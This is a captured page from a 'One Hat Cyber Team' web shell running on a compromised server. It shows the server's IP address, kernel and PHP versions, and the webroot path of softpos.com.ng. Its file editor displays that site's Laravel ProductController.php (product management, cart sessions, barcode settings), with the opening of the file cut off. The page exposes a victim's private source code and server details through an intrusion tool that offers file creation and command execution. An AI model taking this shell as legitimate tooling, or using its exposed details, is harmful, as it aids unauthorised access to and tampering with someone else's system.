⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
softpos.com.ng
/
app
/
Http
/
Controllers
/
Edit File: ProductController.php
can('Manage Product')) { $products = Product::getallproducts()->get(); $barcode = [ 'barcodeType' => Auth::user()->barcodeType() == '' ? 'code128' : Auth::user()->barcodeType(), 'barcodeFormat' => Auth::user()->barcodeFormat() == '' ? 'css' : Auth::user()->barcodeFormat(), ]; return view('products.index', compact('products', 'barcode')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { $user_id = Auth::user()->getCreatedBy(); if(Auth::user()->can('Create Product')) { $categories = Category::where('created_by', $user_id)->pluck('name', 'id'); $categories->prepend(__('Select Category'), ''); $brands = Brand::where('created_by', $user_id)->pluck('name', 'id'); $brands->prepend(__('Select Brand'), ''); $units = Unit::where('created_by', $user_id)->pluck('name', 'id'); $units->prepend(__('Select Unit'), ''); $taxes = Tax::where('created_by', $user_id)->pluck('name', 'id'); $taxes->prepend(__('Apply Tax'), ''); // $plan_id = User::where('id',\Auth::user()->creatorId())->pluck('plan_id'); // $plan = Plan::where('id',$plan_id)->first(); // ADD 'plan in compact' return view('products.create', compact('categories', 'brands', 'units', 'taxes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if(Auth::user()->can('Create Product')) { $validator = Validator::make( $request->all(), [ 'name' => 'required|max:100|unique:products,name,NULL,id,created_by,' . Auth::user()->getCreatedBy(), 'sku' => 'nullable|regex:/[\-]+/i', ] ); if($validator->fails()) { return redirect()->back()->with('error', $validator->errors()->first()); } $product = new Product(); $product->name = $request->name; $product->purchase_price = (float)$request->purchase_price; $product->sale_price = (float)$request->sale_price; $product->sku = $request->sku; $product->description = $request->description; if(!empty($request->input('category_id'))) { $product->category_id = $request->category_id; } if(!empty($request->input('brand_id'))) { $product->brand_id = $request->brand_id; } if(!empty($request->input('tax_id'))) { $product->tax_id = $request->tax_id; } if(!empty($request->input('unit_id'))) { $product->unit_id = $request->unit_id; } $product->product_type = 0; $product->slug = Str::slug($request->name, '-'); $product->created_by = Auth::user()->getCreatedBy(); if ($request->hasFile('image')) { $validator = Validator::make( $request->all(), [ 'image' => 'image|mimes:jpeg,png,jpg,gif,svg|max:20480', ] ); if ($validator->fails()) { return redirect()->back()->with('error', $validator->errors()->first()); } //storage limit $image_size = $request->file('image')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if($result==1) { $filenameWithExt = $request->file('image')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('image')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; // $filepath = $request->file('image')->storeAs('productimages', $fileNameToStore); // // $image_size = $request->file('image')->getsize(); // // dd($image_size); // $check_storage_limit=Utility::StorageLimit(Auth::user()->getCreatedBy(), $image_size); // if($check_storage_limit != null) // { // // dd($check_storage_limit); // return redirect()->route('products.index')->with('error', $check_storage_limit); // } $dir = 'productimages/'; $path = Utility::upload_file($request,'image',$fileNameToStore,$dir,[]); if($path['flag'] == 1){ $url = $path['url']; $product->image = $url; }else{ return redirect()->back()->with('error', __($path['msg'])); } } } $product->save(); // return redirect()->route('products.index')->with('success', __('Product added successfully.')); return redirect()->route('products.index')->with('success', __('Product added successfully.'). ((isset($result) && $result!=1) ? '
' . $result . '
' : '')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Product $product) { return redirect()->back()->with('error', __('Permission denied.')); } public function edit(Product $product) { $user_id = Auth::user()->getCreatedBy(); if(Auth::user()->can('Edit Product')) { $categories = Category::where('created_by', $user_id)->pluck('name', 'id'); $categories->prepend(__('Select Category'), ''); $brands = Brand::where('created_by', $user_id)->pluck('name', 'id'); $brands->prepend(__('Select Brand'), ''); $units = Unit::where('created_by', $user_id)->pluck('name', 'id'); $units->prepend(__('Select Unit'), ''); $taxes = Tax::where('created_by', $user_id)->pluck('name', 'id'); $taxes->prepend(__('Apply Tax'), ''); return view('products.edit', compact('product', 'categories', 'brands', 'units', 'taxes')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, Product $product) { if(Auth::user()->can('Edit Product')) { $validator = Validator::make( $request->all(), [ 'name' => 'required|max:100|unique:products,name,' . $product->id . ',id,created_by,' . Auth::user()->getCreatedBy(), 'sku' => 'nullable|regex:/[\-]+/i', ] ); if($validator->fails()) { return redirect()->back()->with('error', $validator->errors()->first()); } $product->name = $request->name; $product->purchase_price = $request->purchase_price; $product->sale_price = $request->sale_price; $product->sku = $request->sku; $product->description = $request->description; if(!empty($request->input('category_id'))) { $product->category_id = $request->category_id; } if(!empty($request->input('brand_id'))) { $product->brand_id = $request->brand_id; } if(!empty($request->input('tax_id'))) { $product->tax_id = $request->tax_id; } if(!empty($request->input('unit_id'))) { $product->unit_id = $request->unit_id; } $product->slug = Str::slug($request->name, '-'); $oldfilepath = $product->image; if($request->imgstatus == 1) { // if(asset(Storage::exists($oldfilepath))) // { // $product->image = ''; // asset(Storage::delete($oldfilepath)); // } } if($request->hasFile('image')) { $validator = Validator::make( $request->all(), [ 'image' => 'image|mimes:jpeg,png,jpg,gif,svg|max:20480', ] ); if($validator->fails()) { return redirect()->back()->with('error', $validator->errors()->first()); } // if(asset(Storage::exists($oldfilepath))) // { // // $image_size = Storage::size($oldfilepath); // // $check_storage_limit=Utility::ChangeStorageLimit(Auth::user()->getCreatedBy(), $image_size); // asset(Storage::delete($oldfilepath)); // } //storage limit $file_path = $product->image; // old image $image_size = $request->file('image')->getSize(); $result = Utility::updateStorageLimit(\Auth::user()->creatorId(), $image_size); if($result==1) { Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); $filenameWithExt = $request->file('image')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('image')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; // $filepath = $request->file('image')->storeAs('productimages', $fileNameToStore); // $product->image = $filepath; // Storage Limit // $image_size = $request->file('image')->getsize(); // $check_storage_limit=Utility::StorageLimit(Auth::user()->getCreatedBy(), $image_size); // if($check_storage_limit != null) // { // return redirect()->route('products.index')->with('error', $check_storage_limit); // } $dir = 'productimages/'; $path = Utility::upload_file($request,'image',$fileNameToStore,$dir,[]); if($path['flag'] == 1){ $url = $path['url']; $product->image = $url; }else{ return redirect()->back()->with('error', __($path['msg'])); } } } $product->save(); // return redirect()->route('products.index')->with('success', __('Product updated successfully.')); return redirect()->route('products.index')->with('success', __('Product updated successfully.'). ((isset($result) && $result!=1) ? '
' . $result . '
' : '')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Product $product) { if(Auth::user()->can('Delete Product')) { //storage limit $file_path = $product->image; $result = Utility::changeStorageLimit(\Auth::user()->creatorId(), $file_path); // if(asset(Storage::exists($product->image))) // { // // $image_size = Storage::size($product->image); // // // dd($image_size); // // $check_storage_limit=Utility::ChangeStorageLimit(Auth::user()->getCreatedBy(), $image_size); // asset(Storage::delete($product->image)); // } $product->delete(); return redirect()->route('products.index')->with('success', __('Product deleted successfully.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function searchProductsByName(Request $request) { $search = $request->search; if(Auth::user()->can('Manage Product') && $request->ajax() && $search != '') { $products = Product::getallproducts()->where('products.name', 'LIKE', "%{$search}%")->get(); $items = []; foreach($products as $key => $item) { $price = $item->sale_price != 0 ? $item->sale_price : 0; $tax = Product::where('products.id', $item->id)->leftJoin( 'taxes', function ($join){ $join->on('taxes.id', '=', 'products.tax_id')->where('taxes.created_by', '=', Auth::user()->getCreatedBy())->orWhereNull('products.tax_id'); } )->select(DB::Raw('IFNULL( `taxes`.`percentage` , 0 ) as percentage'))->first(); $items[$key]['id'] = $item->id; $items[$key]['name'] = $item->name; $items[$key]['quantity'] = '1'; $items[$key]['maxquantity'] = $item->getTotalProductQuantity() > 0 ? $item->getTotalProductQuantity() : ''; $items[$key]['price'] = $price; $items[$key]['subtotal'] = $price + ($price * $tax->percentage) / 100; $items[$key]['tax'] = $tax->percentage; } // dd($items[$key]['subtotal']); return json_encode($items); } } public function searchProducts(Request $request) { $lastsegment = $request->session_key; if($request->cat_id == null) //comment if { $request->cat_id = ""; } // dd($request->cat_id); if (Auth::user()->can('Manage Product') && $request->ajax() && isset($lastsegment) && !empty($lastsegment)) { if(isset($request->cat_id) && $request->cat_id == 0) { $cart = session()->get($lastsegment); if (isset($cart) && count($cart) > 0) { session()->forget($lastsegment); } } $output = ""; if ($request->cat_id !== '' && $request->cash_register_id == '0' && $request->search == '') { $products = Product::getallproducts()->where('category_id', $request->cat_id)->get(); } elseif ($request->cash_register_id !== '' && $request->cat_id == '0' && $request->search == '' && $request->session_key == 'sales') { $products = PurchasedItems::branchproducts()->where('cash_register_id', $request->cash_register_id)->groupBy('product_id')->orderBy('product_id', 'DESC')->get(); }else{ $products = Product::getallproducts()->where('products.name', 'LIKE', "%{$request->search}%")->orWhere('category_id', $request->cat_id)->get(); // $products = Product::getallproducts()->where('products.name', 'LIKE', "%{request->search}%") // ->where(function ($q) use ($request) { // $q->orWhere('category_id', $request->cat_id); // }) // ->get(); } if ($products) { foreach ($products as $key => $product) { $image_url = (!empty($product->image) && Storage::exists($product->image)) ? $product->image : 'logo/placeholder.png'; if ($request->session_key == 'purchases') { $productprice = $product->purchase_price != 0 ? $product->purchase_price : 0; } else if ($request->session_key == 'sales') { $productprice = $product->sale_price != 0 ? $product->sale_price : 0; } else { $productprice = $product->sale_price != 0 ? $product->sale_price : $product->purchase_price; } $output .= '
' . $product->name . '
' . Auth::user()->priceFormat($productprice) . '
'. $product->getTotalProductQuantity() .'
'; } return Response($output); } else { return Response(__('No result found')); } } } public function addToCart(Request $request, $id, $session_key) { if(Auth::user()->can('Manage Product') && $request->ajax()) { $product = Product::find($id); $productquantity = 0; if($product) { $productquantity = $product->getTotalProductQuantity(); } if(!$product || ($session_key == 'sales' && $productquantity == 0)) { return response()->json( [ 'code' => 404, 'status' => 'Error', 'error' => __('This product is out of stock!'), ], 404 ); } $productname = $product->name; if($session_key == 'purchases') { $productprice = $product->purchase_price != 0 ? $product->purchase_price : 0; } else if($session_key == 'sales') { $productprice = $product->sale_price != 0 ? $product->sale_price : 0; } else { $productprice = $product->sale_price != 0 ? $product->sale_price : $product->purchase_price; } $originalquantity = (int)$productquantity; $tax = Product::where('products.id', $id)->leftJoin( 'taxes', function ($join){ $join->on('taxes.id', '=', 'products.tax_id')->where('taxes.created_by', '=', Auth::user()->getCreatedBy())->orWhereNull('products.tax_id'); } )->select(DB::Raw('IFNULL( `taxes`.`percentage` , 0 ) as percentage'))->first(); $producttax = $tax->percentage; $tax = ($productprice * $producttax) / 100; $subtotal = $productprice + $tax; $cart = session()->get($session_key); $image_url = (!empty($product->image) && Storage::exists($product->image)) ? $product->image : 'logo/placeholder.png'; $model_delete_id = 'delete-form-' . $id; $carthtml = ''; $carthtml .= '
' . $productname . '
`
' . $producttax . '%
' . Auth::user()->priceFormat($productprice) . '
' . Auth::user()->priceFormat($subtotal) . '
'; // if cart is empty then this the first product if(!$cart) { $cart = [ $id => [ "name" => $productname, "quantity" => 1, "price" => $productprice, "id" => $id, "tax" => $producttax, "subtotal" => $subtotal, "originalquantity" => $originalquantity, ], ]; if($originalquantity < $cart[$id]['quantity'] && $session_key == 'sales') { return response()->json( [ 'code' => 404, 'status' => 'Error', 'error' => __('This product is out of stock!'), ], 404 ); } session()->put($session_key, $cart); return response()->json( [ 'code' => 200, 'status' => 'Success', 'success' => $productname . __(' added to cart successfully!'), 'product' => $cart[$id], 'carthtml' => $carthtml, ] ); } // if cart not empty then check if this product exist then increment quantity if(isset($cart[$id])) { $cart[$id]['quantity']++; $cart[$id]['id'] = $id; $subtotal = $cart[$id]["price"] * $cart[$id]["quantity"]; $tax = ($subtotal * $cart[$id]["tax"]) / 100; $cart[$id]["subtotal"] = $subtotal + $tax; $cart[$id]["originalquantity"] = $originalquantity; if($originalquantity < $cart[$id]['quantity'] && $session_key == 'sales') { return response()->json( [ 'code' => 404, 'status' => 'Error', 'error' => __('This product is out of stock!'), ], 404 ); } session()->put($session_key, $cart); return response()->json( [ 'code' => 200, 'status' => 'Success', 'success' => $productname . __(' added to cart successfully!'), 'product' => $cart[$id], 'carttotal' => $cart, ] ); } // if item not exist in cart then add to cart with quantity = 1 $cart[$id] = [ "name" => $productname, "quantity" => 1, "price" => $productprice, "tax" => $producttax, "subtotal" => $subtotal, "id" => $id, "originalquantity" => $originalquantity, ]; if($originalquantity < $cart[$id]['quantity'] && $session_key == 'sales') { return response()->json( [ 'code' => 404, 'status' => 'Error', 'error' => __('This product is out of stock!'), ], 404 ); } session()->put($session_key, $cart); return response()->json( [ 'code' => 200, 'status' => 'Success', 'success' => $productname . __(' added to cart successfully!'), 'product' => $cart[$id], 'carthtml' => $carthtml, 'carttotal' => $cart, ] ); } else { return response()->json( [ 'code' => 404, 'status' => 'Error', 'error' => __('This Product is not found!'), ], 404 ); } } public function updateCart(Request $request) { $id = $request->id; $quantity = $request->quantity; $session_key = $request->session_key; if(Auth::user()->can('Manage Product') && $request->ajax() && isset($id) && !empty($id) && isset($session_key) && !empty($session_key)) { $cart = session()->get($session_key); // if(isset($cart) && $cart != null) // { if(isset($cart[$id]) && $quantity == 0) { unset($cart[$id]); } if($quantity) { $cart[$id]["quantity"] = $quantity; $producttax = (array_key_exists("tax",$cart[$id])) ? $cart[$id]['tax'] : '0'; $productprice = (array_key_exists("price",$cart[$id])) ? $cart[$id]['price'] : '0'; $subtotal = $productprice * $quantity; $tax = ($producttax != '0') ? (($subtotal * $producttax) / 100 ): 0; $cart[$id]["subtotal"] = $subtotal + $tax; } if($cart[$id]["originalquantity"] < $cart[$id]['quantity'] && $session_key == 'sales') { return response()->json( [ 'code' => 404, 'status' => 'Error', 'error' => __('This product is out of stock!'), ], 404 ); } session()->put($session_key, $cart); return response()->json( [ 'code' => 200, 'success' => __('Cart updated successfully!'), 'product' => $cart, ] ); // } // else{ // return response()->json( // [ // 'code' => 404, // 'status' => 'Error', // 'error' => __('This Product Session is Expired!'), // ], 404 // ); // } } else { return response()->json( [ 'code' => 404, 'status' => 'Error', 'error' => __('This Product is not found!'), ], 404 ); } } // Following code is the Temporary solution of session destroy // public function updateCart(Request $request) // { // $id = $request->id; // $quantity = $request->quantity; // $session_key = $request->session_key; // if(Auth::user()->can('Manage Product') && $request->ajax() && isset($id) && !empty($id) && isset($session_key) && !empty($session_key)) // { // $cart = session()->get($session_key); // // if(isset($cart) && $cart != null) // // { // if(isset($cart[$id]) && $quantity == 0) // { // unset($cart[$id]); // } // //test // $product = Product::where('id',$id)->first(); // $tax = Tax::where('id',$product->tax_id)->first(); // $producttax = $tax->percentage; // // dd($producttax); // if($product) // { // $productquantity = $product->getTotalProductQuantity(); // } // $originalquantity = (int)$productquantity; // if($session_key == 'sales'){ // $price = $product->sale_price; // // dd($productprice); // } // else{ // $price = $product->purchase_price; // // dd($productprice); // } // //test end // $productname = $product->name; // $cart[$id]["name"]=$productname; // $cart[$id]["id"]=$id; // if($quantity) // { // $cart[$id]["quantity"] = $quantity; // if(array_key_exists("tax",$cart[$id])){ // $producttax = (array_key_exists("tax",$cart[$id])) ? $cart[$id]['tax'] : '0'; // } // else{ // $producttax = $tax->percentage; // $cart[$id]['tax'] = $tax->percentage; // } // if((array_key_exists("price",$cart[$id]))){ // $productprice = (array_key_exists("price",$cart[$id])) ? $cart[$id]['price'] : '0'; // } // else{ // $productprice = $price; // $cart[$id]['price']=$price; // } // $subtotal = $productprice * $quantity; // $tax = ($producttax != '0') ? (($subtotal * $producttax) / 100 ): 0; // $cart[$id]["subtotal"] = $subtotal + $tax; // } // $cart[$id]["originalquantity"]=$originalquantity; // // dd($cart[$id]); // if($cart[$id]["originalquantity"] < $cart[$id]['quantity'] && $session_key == 'sales') // { // return response()->json( // [ // 'code' => 404, // 'status' => 'Error', // 'error' => __('This product is out of stock!'), // ], 404 // ); // } // session()->put($session_key, $cart); // return response()->json( // [ // 'code' => 200, // 'success' => __('Cart updated successfully!'), // 'product' => $cart, // ] // ); // // } // // else{ // // return response()->json( // // [ // // 'code' => 404, // // 'status' => 'Error', // // 'error' => __('This Product Session is Expired!'), // // ], 404 // // ); // // } // } // else // { // return response()->json( // [ // 'code' => 404, // 'status' => 'Error', // 'error' => __('This Product is not found!'), // ], 404 // ); // } // } public function removeFromCart(Request $request) { $id = $request->id; $session_key = $request->session_key; if(Auth::user()->can('Manage Product') && isset($id) && !empty($id) && isset($session_key) && !empty($session_key)) { $cart = session()->get($session_key); if(isset($cart[$id])) { unset($cart[$id]); session()->put($session_key, $cart); } return redirect()->back()->with('success', __('Product removed from cart!')); } else { return redirect()->back()->with('error', __('This Product is not found!')); } } public function emptyCart(Request $request) { $session_key = $request->session_key; if (Auth::user()->can('Manage Product') && isset($session_key) && !empty($session_key)) { $cart = session()->get($session_key); if (isset($cart) && count($cart) > 0) { session()->forget($session_key); } return redirect()->back()->with('error', __('Cart is empty!')); } else { return redirect()->back()->with('error', __('Cart cannot be empty!.')); } } public function export() { $name = 'Product_' . date('Y-m-d i:h:s'); $data = Excel::download(new ProductExport(), $name . '.xlsx'); ob_end_clean(); return $data; } public function setting() { $settings = Utility::settings(); return view('products.setting',compact('settings')); } public function BarcodesettingStore(Request $request) { $request->validate( [ 'barcode_type' => 'required', 'barcode_format' => 'required', ] ); $post['barcode_type'] = $request->barcode_type; $post['barcode_format'] = $request->barcode_format; foreach($post as $key => $data) { $arr = [ $data, $key, \Auth::user()->id, ]; \DB::insert( 'insert into settings (`value`, `name`,`created_by`) values (?, ?, ?) ON DUPLICATE KEY UPDATE `value` = VALUES(`value`) ', $arr ); } return redirect()->back()->with('success', 'Barcode setting successfully updated.'); } public function printBarcode() { $product = product::select('*', \DB::raw("CONCAT(name) AS name"))->where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); // dd($product); return view('products.print',compact('product')); } public function receipt(Request $request) { if(!empty($request->product_id)) { $product = product::whereIn('id',$request->product_id)->get(); $quantity = $request->quantity; $barcode = [ 'barcodeType' => Auth::user()->barcodeType() == '' ? 'code128' : Auth::user()->barcodeType(), 'barcodeFormat' => Auth::user()->barcodeFormat() == '' ? 'css' : Auth::user()->barcodeFormat(), ]; } else { return redirect()->back()->with('error', 'Product is required.'); } return view('products.receipt',compact('product','barcode','quantity')); } }
Simpan